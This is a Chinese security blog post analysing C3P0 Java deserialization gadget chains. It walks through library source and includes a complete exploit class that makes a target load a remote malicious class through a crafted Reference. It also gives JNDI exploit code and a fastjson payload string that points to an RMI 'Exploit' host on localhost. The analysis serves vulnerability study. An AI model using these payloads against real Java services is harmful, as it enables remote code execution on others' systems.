• C3P0反序列化链分析


    前言

    C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等。之前有接触到过,但是没有深入了解,像之前学二次反序列化时,WrapperConnectionPoolDataSource就是C3P0的

    环境搭建

    
        com.mchange
        c3p0
        0.9.5.2
    
    

    URLClassLoader

    初学者必学的一条链,先给出完整exp,然后一步步分析

    package org.example;
    
    import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
    
    import javax.naming.NamingException;
    import javax.naming.Reference;
    import javax.naming.Referenceable;
    import javax.sql.ConnectionPoolDataSource;
    import javax.sql.PooledConnection;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.sql.SQLException;
    import java.sql.SQLFeatureNotSupportedException;
    import java.util.logging.Logger;
    
    public class urlClassLoader {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {
            PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
            Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
            //此类是PoolBackedDataSourceBase抽象类的实现
            Field f1 = clazz.getDeclaredField("connectionPoolDataSource");
            f1.setAccessible(true);
            f1.set(a,new evil());
    
            ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
            ser.writeObject(a);
            ser.close();
            ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
            unser.readObject();
            unser.close();
        }
        public static class evil implements ConnectionPoolDataSource, Referenceable {
            public PrintWriter getLogWriter () throws SQLException {return null;}
            public void setLogWriter ( PrintWriter out ) throws SQLException {}
            public void setLoginTimeout ( int seconds ) throws SQLException {}
            public int getLoginTimeout () throws SQLException {return 0;}
            public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
            public PooledConnection getPooledConnection () throws SQLException {return null;}
            public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
    
            @Override
            public Reference getReference() throws NamingException {
                return new Reference("evilref","evilref","http://127.0.0.1:1099/");
            }
        }
    }
    

    先看序列化的过程,进入PoolBackedDataSourceBase这个类看看writeObject

    该方法会尝试将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作,我们跟进ReferenceIndirector.indirectForm方法。

    此方法会调用connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将ReferenceSerialized对象返回,ReferenceSerialized被序列化

    这里可以看出reference是可以被我们控制的,接下来看反序列化的操作,readShort获取版本号为1,往下走,
    首先获取了反序列化后的对象,然后再判断这个对象o是否实现了IndirectlySerialized接口,在ReferenceIndirector的内部类ReferenceSerialized中实现了这个接口,所以通过判断,调用了o的getObject方法

    跟进getObject方法,这里居然还有lookup,但是我们这条链的目标不是它,而且这里的lookup很鸡肋

    跟进ReferenceableUtils.referenceToObject,由于ref是在序列化的时候可以控制的参数,那么fClassName自然也是可以控制的属性,下面就调用了URLClassLoader实例化我们的远程恶意类

    hex base/WrapperConnectionPoolDataSource

    如果不出网,而且是fastjson或jackson的情况,可以用这个Gadget,这条链以前见过,就是学二次反序列化时的C3P0那条链,所以这里就不再讲,可以去看看我讲二次反序列化的那篇文章

    JNDI

    同样也是在fastjson,jackson环境中可用

    package org.example;
    
    import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
    
    import java.beans.PropertyVetoException;
    import java.sql.SQLException;
    
    public class JNDI {
        public static void main(String[] args) throws PropertyVetoException, SQLException {
            JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
            exp.setJndiName("rmi://127.0.0.1:1099/evilref");
            exp.setLoginTimeout(1);
        }
    }
    
    
    fastjson exp:
    String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}"
    

    首先JndiRefConnectionPoolDataSource类中有属性jndiname及其setter方法,其setter方法会调用内部的JndiRefForwardingDataSource对象的setJndiName方法,改变JndiRefForwardingDataSource#jndiname的值,漏洞点在setLoginTimeout处,我们追踪进去,经过几次setLoginTimeout来到这

    进入dereference,获取jndiName,然后调用了lookup,达到jndi的效果


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18135789
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    如果开发“科技”一查通小程序软件查询添加剂信息是否有前途呢?
    【周赛364-单调栈】美丽塔 II-力扣 2866
    【NodeJs-5天学习】第三天实战篇④ ——QQ机器人,实现自动回复、重要提醒
    【算法数据结构专题】「延时队列算法」史上手把手教你针对层级时间轮(TimingWheel)实现延时队列的开发实战落地(上)
    【MC 网易-我的世界-mod开发基础笔记】 --- 运行测试第一个空白Mod
    UI自动化的适用场景,怎么做?
    1.java环境搭建与eclipse安装和配置
    react异常 Each child in a list should have a unique “key” prop
    拓扑排序(C++)
    Windows C++内存泄漏调试技术——系列2
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18135789